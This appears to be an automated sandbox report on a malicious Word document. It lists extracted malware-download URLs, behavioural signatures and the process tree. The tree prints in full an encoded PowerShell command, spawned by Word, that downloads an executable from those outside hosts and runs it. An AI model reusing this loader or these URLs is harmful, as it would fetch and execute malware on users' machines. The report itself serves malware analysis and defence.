Overview

overview

10

Static

static

8

K_NXE_0701...20.doc

windows7_x64

10

K_NXE_0701...20.doc

windows10_x64

1

Analysis

  • max time kernel
    112s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    31/07/2020, 07:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    K_NXE_070120_IBB_073020.doc
  • Size 171KB
  • Sample200731-saddvmb2y2
  • SHA256 ae3abc573956f6ecf54602dabcc2c4c20488c1bd826e4a064e379ffb44b76424
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://jdelectronics.com.au/1e8nq_ij3_tq76ahy/
  • exe.dropper

    https://fotoobjetivo.com/wp-content/m_57ss_tqngo4r/
  • exe.dropper

    https://itkossi.com/backup/q6bk_pwr0_wevmq/
  • exe.dropper

    http://itvconsult.com/d3z_knd_g4/
  • exe.dropper

    http://itmh.org/wwvvv/e0aa_nir08_vf/

Signatures

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\K_NXE_070120_IBB_073020.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1072
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAEEASgBWAEcAZAB0AHEAPQAnAFcAUQBLAFkAUQBiAG0AbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBjAHUAcgBpAHQAYABZAFAAcgBvAFQAbwBgAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABHAEkAWQBEAGQAbQB2ACAAPQAgACcAMwAxADIAJwA7ACQAUABPAFgARgBEAG8AYgB2AD0AJwBSAFEAQgBPAFEAbwBiAGEAJwA7ACQARABYAE8AQwBYAGwAbQBoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAEcASQBZAEQAZABtAHYAKwAnAC4AZQB4AGUAJwA7ACQASABSAEwASgBHAHMAcQByAD0AJwBGAFEASABNAFAAdgBtAGYAJwA7ACQAUQBWAEkAVQBDAHcAcgBmAD0AJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAVAAuAHcAZQBCAGMAbABpAGUATgBUADsAJABTAEwASQBTAEwAdwBmAGMAPQAnAGgAdAB0AHAAOgAvAC8AagBkAGUAbABlAGMAdAByAG8AbgBpAGMAcwAuAGMAbwBtAC4AYQB1AC8AMQBlADgAbgBxAF8AaQBqADMAXwB0AHEANwA2AGEAaAB5AC8AKgBoAHQAdABwAHMAOgAvAC8AZgBvAHQAbwBvAGIAagBlAHQAaQB2AG8ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAF8ANQA3AHMAcwBfAHQAcQBuAGcAbwA0AHIALwAqAGgAdAB0AHAAcwA6AC8ALwBpAHQAawBvAHMAcwBpAC4AYwBvAG0ALwBiAGEAYwBrAHUAcAAvAHEANgBiAGsAXwBwAHcAcgAwAF8AdwBlAHYAbQBxAC8AKgBoAHQAdABwADoALwAvAGkAdAB2AGMAbwBuAHMAdQBsAHQALgBjAG8AbQAvAGQAMwB6AF8AawBuAGQAXwBnADQALwAqAGgAdAB0AHAAOgAvAC8AaQB0AG0AaAAuAG8AcgBnAC8AdwB3AHYAdgB2AC8AZQAwAGEAYQBfAG4AaQByADAAOABfAHYAZgAvACcALgAiAHMAYABQAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBWAEYARwBFAGgAcwB5AD0AJwBWAEIAVABKAE8AYQBsAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFAAVQBFAEEATABrAGUAYgAgAGkAbgAgACQAUwBMAEkAUwBMAHcAZgBjACkAewB0AHIAeQB7ACQAUQBWAEkAVQBDAHcAcgBmAC4AIgBEAE8AYABXAG4AYABMAG8AQQBgAEQARgBpAGwARQAiACgAJABQAFUARQBBAEwAawBlAGIALAAgACQARABYAE8AQwBYAGwAbQBoACkAOwAkAFAARwBJAEYATwBtAHIAdwA9ACcAVABGAEIARgBDAGwAaAB2ACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARABYAE8AQwBYAGwAbQBoACkALgAiAEwAZQBgAE4AYABHAHQASAAiACAALQBnAGUAIAAyADQAMQA5ADkAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBgAGUAQQBUAGUAIgAoACQARABYAE8AQwBYAGwAbQBoACkAOwAkAEEATQBEAFEASQBxAHYAcAA9ACcAVgBCAEcAQQBKAGUAeAB5ACcAOwBiAHIAZQBhAGsAOwAkAEEARwBUAFAASABkAHoAdAA9ACcAUABaAEkAQwBUAHYAcABmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAUQBaAFAAVAB3AG4AYgA9ACcATQBFAFIAQgBFAG0AaAB2ACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    PID:1668

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1072-2-0x0000000008980000-0x0000000008984000-memory.dmp
        Download

        memory/1072-5-0x000000000AAF0000-0x000000000AAF4000-memory.dmp
        Download

        memory/1072-6-0x000000000BB70000-0x000000000BB74000-memory.dmp
        Download